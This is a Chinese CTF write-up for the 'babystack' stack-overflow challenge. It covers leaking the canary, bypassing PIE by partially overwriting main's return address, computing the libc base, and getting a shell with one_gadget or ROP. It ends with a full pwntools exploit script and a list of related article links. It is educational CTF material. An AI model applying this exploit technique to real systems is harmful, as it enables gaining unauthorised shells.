我太天真了,师傅说让我做做这个平台的题,我就注册了个号,信心满满的打开了change,找到了pwn,一看第一道题是babystack,我想着,嗯,十分钟搞定他!直到我下载了题目,题目给了libc,然后我检查了一下elf的保护,我发现我错了。。。

  这尼玛保护全开是什么鬼...

  来IDA看一下伪代码是要让干什么。

  箭头指向两个read函数和一个printf函数,两个read函数都可以进行溢出,printf函数是第一个溢出的回显。那么我们首先想到我就是,第一次溢出的时候,我们用来leak canary。如果是其他题目的话,这道题就算结束了,直接rop常规操作就走下来了,但是这道题不一样,这道题还开了pie,函数地址会随机化,我们不能直接利用gadget。接下来就是想办法泄露基地址了。

  在这里需要补充个知识点。

  程序在执行的过程中,其实简略版的启动是这么调用的:start-->__libc_start_main-->main。main函数其实是由__libc_start_main函数调用的,所以main函数的返回地址其实是调用main函数的下面的一行地址。如果我们可以知道__libc_start_main和main函数的返回地址差多少,我们再减去__libc_start_main函数的偏移,就能得到libc的基地址,就可以用libc中的gadget了。

  我们一步一步来,第一次leak canary就不演示了。直接看第第二次溢出的时候的栈空间布局。

  

  rbp下面是返回地址,pwndbg很明显的给我们标出来是__libc_start_main + 240的位置。那我们想办法leak这个地址就行。不过很明显,运行一次main函数是不够的,必须重复运行main函数,那么这个时候有一个技巧就是覆盖main函数返回地址的末字节,这样程序就有机会能再次运行,为什么说是有机会呢?我们来看一下__libc_start_main调用main函数周围的汇编。

  

  图片中箭头所指的地方就是调用main函数的指令,可以看见不是我们想象的call main,是call rax,假如我们直接把末字节覆盖成2e,其实是不能再次运行程序的,因为你不能保证rax是调用main函数的值。这里如果耐心一点读读汇编就可以确定覆盖成什么可以直接再次调用main函数,我为了不动脑子,就乱覆盖,直到找到一个可以再次执行的,其实也用不了多长时间,我大概测试了十几个数,就确定了一个。

  不过有一点需要注意,就是再次往回调的时候,我们不能乱覆盖rbp,应为leave ret会进行恢复栈的操作,所以一旦rbp被破坏了,那么就回不去了。

  那么我们就只有在第一次程序运行的时候的第一次溢出同时泄露canary和rbp。

  接下来程序第二次执行,第一次溢出就leak mian函数的返回地址,这个时候其实通过计算就可以得到libc的基地址了,第二次溢出到one_gadget。就可以拿到shell了。

  其实感觉已经说的很清晰了,题目是内部平台下载的,就不说是哪里的题目了(咳咳,自己发现),反正是感觉学习到很多东西,也算是一种新姿势。最后贴一下exp:

  

from pwn import *

context(log_level='DEBUG')
p = process('./babystack')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so',checksec=False)
p.sendafter('name: ','U'*0x88 + '\xFF')
p.recvuntil('\xFF')
canary = u64('\x00' + p.recv(7))
stack = u64(p.recv(6).ljust(8,'\x00'))
payload = 'U'*0x88 + p64(canary) + p64(stack) + '\x8d'
print 'canary-->' + hex(canary)
print 'stack-->' + hex(stack)
#gdb.attach(p)
p.send(payload) payload = 'U'*0x97 + '\xFF'
p.sendafter('name: ',payload)
p.recvuntil('\xFF')
addr = u64(p.recv(6).ljust(8,'\x00')) print '-------------->' + hex(addr)
libc_base = addr - 240 - libc.sym['__libc_start_main']
libc.address = libc_base
print 'libc main start ------>' + hex(addr-240)
og = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + og[2] system_addr = libc_base + 0x045390
binsh_addr = libc_base + 0x18cd57
pop_rdi = libc_base + 0x0021102 payload = 'U'*0x88 + p64(canary) + p64(stack) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

一道栈溢出babystack的更多相关文章

  1. WinRAR存在严重的安全漏洞影响5亿用户

    WinRAR可能是目前全球用户最多的解压缩软件,近日安全团队发现并公布了WinRAR中存在长达19年的严重安全漏洞,这意味着有可能超过5亿用户面临安全风险. 该漏洞存在于所有WinRAR版本中包含的U ...

  2. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  3. 安恒pwn魔法

    魔法这是比较基础的一道栈溢出: 首先看下开启的防护机制 Checksec magicc发现只有nx防护 我们载入ida发现溢出点 Buf实际溢出空间为0x16,构造exp import time fr ...

  4. 【pwnable.kr】bof

    pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...

  5. 栈溢出之rop到syscall

    当程序开启了nx,但程序有syscall调用的时候.这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pw ...

  6. 一道Apple公司(中国)的面试题目

    Apple在中国(上海)有公司业务,但是感觉主要是做测试工作的部门,主要是保障Apple的产品质量QE.面试的时候,面试官出了一道题目,我貌似曾今开过类似的题目,但是由于当场发挥不佳没有答出来.题目大 ...

  7. 利用gcc自带的功能-fstack-protector检测栈溢出及其实现

    最近又遇到了一个崩溃,栈回溯非常怪异. /lib/i386-linux-gnu/libc.so.(gsignal+0x4f) [0xb2b751df] /lib/i386-linux-gnu/libc ...

  8. 【Android】一道Android OpenGL笔试题

    一道Android OpenGL笔试题 SkySeraph May. 5th 2016 Email:skyseraph00@163.com 更多精彩请直接访问SkySeraph个人站点:www.sky ...

  9. 一道常被人轻视的前端JS面试题

    前言 年前刚刚离职了,分享下我曾经出过的一道面试题,此题是我出的一套前端面试题中的最后一题,用来考核面试者的JavaScript的综合能力,很可惜到目前为止的将近两年中,几乎没有人能够完全答对,并非多 ...

随机推荐

  1. [atARC070E]NarrowRectangles

    记$len_{i}=r_{i}-l_{i}$,即第$i$个区间的长度 用$f_{i,j}$表示前$i$个区间合法,第$i$个区间位于$[j,j+len_{i}]$的最小代价,暴力dp的时间复杂度为$o ...

  2. [atARC110E]Shorten ABC

    考虑令$a$.$b$和$c$分别对应1.2和3,那么每一次相当于令$x$和$y$变为$x\oplus y$(要求$x\ne y$) 根据异或的结合律,我们相当于将其划分为若干个区间求异或值 (另外还有 ...

  3. AtCoder Regular Contest 127 题解

    sb atcoder 提前比赛时间/fn/fn/fn--sb atcoder 还我 rating/zk/zk/zk A 签到题,枚举位数 \(+\) 前导 \(1\) 个数然后随便算算贡献即可,时间复 ...

  4. docker_清华源国内的选择

    清华大学开源镜像官网:https://mirrors.tuna.tsinghua.edu.cn/ 前期: 在centos7 中的extras 源里面有docker 安装包,但是里面的安装包是比较旧的 ...

  5. LATEX公式语法

    see how any formula was written in any question or answer, including this one, right-click on the ex ...

  6. ansible-playbook 安装redis 主从

    ansible-playbook 安装redis 主从 手动在测试机上安装一遍redis,最好使用utils下面的install_server.sh安装服务,然后将redis的配置文件和init需要的 ...

  7. 日常Java 2021/9/19

    Math类方法 package m; public class m { public static void main(String args[]) { //计算平方根 System.out.prin ...

  8. A Child's History of England.18

    But, although she was a gentle lady, in all things worthy to be beloved - good, beautiful, sensible, ...

  9. 一起手写吧!ES5和ES6的继承机制!

    原型 执行代码var o = new Object(); 此时o对象内部会存储一个指针,这个指针指向了Object.prototype,当执行o.toString()等方法(或访问其他属性)时,o会首 ...

  10. 【leetcode】563. Binary Tree Tilt

    Given the root of a binary tree, return the sum of every tree node's tilt. The tilt of a tree node i ...